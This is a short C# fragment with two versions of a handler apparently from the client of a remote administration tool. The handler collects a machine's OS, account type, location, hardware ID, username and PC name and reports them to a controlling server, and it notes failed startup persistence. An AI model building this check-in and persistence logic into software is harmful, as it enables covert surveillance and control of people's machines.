public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex, SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client); }
public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(), GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code, GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex, DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client); if (ClientData.AddToStartupFailed) { Thread.Sleep(2000); new Packets.ClientPackets.SetStatus("Adding to startup failed.").Execute(client); } }